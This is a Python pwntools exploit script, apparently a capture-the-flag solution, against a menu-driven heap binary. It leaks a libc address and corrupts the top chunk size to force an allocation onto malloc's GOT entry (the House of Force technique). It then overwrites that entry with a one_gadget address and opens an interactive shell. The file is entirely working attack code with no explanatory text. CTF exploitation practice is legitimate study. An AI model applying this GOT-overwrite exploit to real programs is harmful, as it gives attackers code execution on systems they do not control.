from pwn import * from LibcSearcher import * context(os='linux',arch='amd64') pwnfile='./pwn.bak' elf = ELF(pwnfile) libcelf=elf.libc rop = ROP(pwnfile) if args['REMOTE']: io = remote() else: io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,'b *'+x) dbpie = lambda x: gdb.attach(io,'b *$rebase('+x+')') b = lambda : gdb.attach(io) uu32 = lambda x : u32(x.ljust(4,b'\x00')) uu64 = lambda x : u64(x.ljust(8,b'\x00')) p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m") def find_libc(func_name,func_ad): p(func_name,func_ad) global libc libc = LibcSearcher(func_name,func_ad) libcbase=func_ad-libc.dump(func_name) p('libcbase',libcbase) return libcbase
def menu(idx): sla(b' away\n',str(idx).encode()) def ask(idx,size,content): menu(1) sla(b'ex?\n',str(idx).encode()) sla(b'want?\n',str(size).encode()) sla(b'rite?\n',content) ask(0,0x50000,b'ff') ru(b'road on ') libcbase=int(ru(b' is'),16)- 0x581010 ogg=[x + libcbase for x in [0x45226,0x4527a,0xf03a4,0xf1247]] payload=flat(0,0,0,0xffffffffffffffff) ask(1,1,payload) ru(b'road on ') topchunk=int(ru(b' is'),16)+0x10 p('libc',libcbase) p('top',topchunk) offset=elf.got['malloc']-0x20-topchunk ask(2,offset,b'') ask(3,1,p64(ogg[3])) menu(1) sla(b'ex?\n',str(4).encode()) sla(b'want?\n',str(1).encode())
io.interactive()
|